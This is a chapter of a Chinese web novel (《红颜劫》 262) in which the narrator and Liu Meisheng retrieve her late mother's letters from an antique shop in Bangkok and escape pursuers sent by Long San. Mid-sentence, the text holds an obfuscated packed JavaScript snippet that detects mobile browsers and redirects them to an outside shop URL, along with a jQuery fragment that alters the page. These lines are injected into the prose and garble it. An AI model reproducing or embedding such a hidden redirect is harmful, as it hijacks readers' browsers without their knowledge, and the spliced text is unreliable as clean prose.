262柳媚笙的母亲(下)!

作品:《红颜劫

    我看着柳媚笙,我知道自己劝不了她,有些人,有些事,是哪怕死也要弄清楚的,就像她对母亲死因的执念。


    “地址在哪?”我问。


    柳媚笙看向我,眼睛里有感激,也有担忧。


    “陈凡,你真的要跟我一起去?”


    “不然呢?让你一个人去送死?”


    她咬了咬嘴唇,报出一个地址道:“是隆路附近的一条小巷,一家叫‘时光记忆’的古董店,店主叫陈伯,是我父亲几十年的朋友。”


    刘飞立刻在电脑上搜索这个地址。


    “凡哥,确实有这个地方,那是曼谷市中心,人多眼杂,去那里风险很大。”


    “所以才要尽快,在龙三爷反应过来之前我们必须到达,刘飞,你留在这里,继续恢复数据,保持和周老爷子的联系,你们两个一个那个我去,一个在这里加强警戒。”


    我立刻下达了指令,将所有的人员都分配好。


    “凡哥,还是我去吧。”刘飞说道:“你留在这里更安全。”


    “不,我得去。”我看向柳媚笙,坚定道:“她需要我。”


    我的这句话说得很平淡,但客厅里的空气似乎凝滞了一瞬。柳媚笙看着我,眼睛里有什么东西在闪烁,然后迅速移开了视线。


    我确定行动计划,我和一个叫阿坤的秘卫陪柳媚笙去古董店,刘飞和另一个秘卫留守。


    我们换上阿南准备的当地人的衣服,花衬衫、宽松的裤子、人字拖,尽量不引人注目。我们的武器藏在衣服里,我们每人只带一把**和两个弹匣,轻装上阵。


    阿南从储藏室推出两辆破旧的摩托车。


    “陈哥,骑这个去,不显眼,汽车目标太大。”


    我和阿坤检查了摩托车,油是满的,车况还行。柳媚笙坐在我后面,手臂轻轻环住我的腰,她的身体贴得很近,能感觉到她的呼吸喷在我的后颈上。


    “准备好了吗?”我问。


    “嗯。”她的声音很轻,但很坚定。


    阿南打开铁门,我们骑着摩托车驶入巷子。上午的阳光刺眼,空气燥热。巷子里的居民投来好奇的目光,但很快就移开了,在曼谷,两个男人骑摩托车载着一个女人,再普通不过。


    我们汇入主干道的车流,摩托车在汽车和突突车之间灵活穿行,柳媚笙的手臂收紧了些,我能感觉到她身体的僵硬。


    “放松。”我低声说道:“越紧张越容易被人看出来。”


    “我知道。”她把脸贴在我背上,声音闷闷的,“只是很久没这样出来了,坐在摩托车后座,感觉像个普通人一样。”


    我没有接话,普通人?或许我们早就不是了。


    十几分钟后,我们来到古董店。


    这个店面很小,橱窗里摆着些瓷器、铜器和旧钟表,玻璃上蒙着一层薄灰,门口挂着一个铃铛,推门时会发出清脆的响声。


    我们停好摩托车,没有立刻进去,我让阿坤在巷口望风,自己陪着柳媚笙走向店门。


    推门进去时,铃铛响了。


    店里光线昏暗,空气中弥漫着木头、灰尘和旧纸张混合的气味,柜台后面坐着一个头发花白的老人,他戴着老花镜,正在修补一个瓷瓶,听到铃声,他抬起头,看到柳媚笙的瞬间,手一抖,瓷瓶差点掉在地上。


    “柳……柳小姐?”老人的声音沙哑而震惊。


    “陈伯,是我。”柳媚笙走过去,声音很轻,道:“好久不见。”


    陈伯颤颤巍巍地站起来,绕过柜台,握住柳媚笙的手,老眼里泛起泪光。


    “真的是你?外面都在传你出事了……”


    “我没事。”柳媚笙安抚地拍拍他的手,“陈伯,我这次来,是想看看父亲留在您这里的东西。有些事我必须弄清楚。”


    陈伯的脸色变了变。他警惕地看了我一眼,又看向门外。


    “放心,陈伯,他是我的人。”柳媚笙说。


    陈伯犹豫了一下,最终还是点了点头。“跟我来。”


    他领着我们穿过店面,推开一扇后门,里面是个小小的储藏室,堆满了各种箱子和旧物,陈伯挪开几个箱子,露出后面的一道暗门,用钥匙打开。


    里面是个更小的房间,只有一张桌子和几个铁皮柜,陈伯打开其中一个柜子,取出一个木盒,递给柳媚笙。


    “你父亲当年交代过,如果你有一天来取,就把这个交给你,他说这里面的东西,可能会让你知道一些你一直想知道的事情。但他也说了,知道真相未必是好事。”


    柳媚笙接过木盒,手在微微颤抖。木盒很旧了,锁已经锈蚀,她深吸一口气,打开了盒子。


    里面没有多少东西:几封泛黄的信,几张老照片,还有一串**项链。


    柳媚笙拿起项链,手指摩挲着那些温润的红色珠子,眼泪毫无征兆地掉了下来。


    “这是我母亲的……”她的声音哽咽。


    我拿起一封信,信封上没有署名,我抽出信纸,上面是娟秀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208460|192443||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的字体,这封信的内容不长。


    “文山:如果你看到这封信,说明我已经不在了,不要追查我的死因,不要为我报仇。有些事,知道得越少,活得越久,照顾好我们的女儿。还有,小心龙三,他想要的从来不只是钱。”


    信末没有署名,只有一个日期,正是柳媚笙母亲去世前一周。


    柳媚笙也看到了信的内容,她的脸色白得像纸,手抖得几乎拿不住信纸。


    “所以我母亲的死,真的和龙三爷有关?”她的声音有些脆弱道:“我父亲一直都知道,但他什么都没说?”


    陈伯叹了口气,苍老的声音在狭小的房间里回荡:“你父亲当年也很痛苦,但他没办法。龙三爷的势力太大,手里握着的把柄太多,他能做的,只有把你母亲留下的这些东西藏起来,希望有一天你能知道真相,但又希望你永远不要知道。”


    柳媚笙跌坐在椅子上,木盒里的东西散落一地。照片上是年轻时的母亲,笑靥如花,脖子上正戴着那串**项链。还有一张合影,母亲站在父亲身边,身后是金三角的山峦,而角落里,一个模糊的身影——虽然看不清楚,但那姿态和轮廓,像极了年轻时的龙三爷。


    所有的碎片在这一刻拼凑起来。


    龙三爷和柳家的恩怨,不是从父亲开始的,而是更早。早到母亲那一代。那些把柄,那些秘密,那些年深日久的仇恨……


    “我们得走了。”我突然说,一股不祥的预感涌上心头。


    几乎在我说完的同时,门外传来阿坤压低的声音:“凡哥,有情况!巷口来了两辆车,下来七八个人,朝这边来了!”


    陈伯的脸色瞬间变了。“快走!从后门!”


    他拉开储藏室的另一扇门,外面是另一条更窄的巷子。柳媚笙手忙脚乱地把东西塞回木盒,抱在怀里。我拉着她冲出后门,阿坤紧随其后。


    我们刚跑出巷子,就听到古董店方向传来砸门的声音,还有泰语的呵斥。


    龙三爷的人,到底还是找来了。


    摩托车就在前面,我骑上去启动引擎,柳媚笙跳上后座,阿坤骑上另一辆,引擎轰鸣,我们冲进主干道的车流。


    我看了看后视镜,我看到几个黑衣男人从巷子里追出来,其中一个人拿起对讲机在说什么。


    “媚笙,抱紧我!”我大喊了一声。


    柳媚笙紧紧抱着木盒,也紧紧抱着我,她的脸贴在我背上,眼泪浸湿了我的衬衫……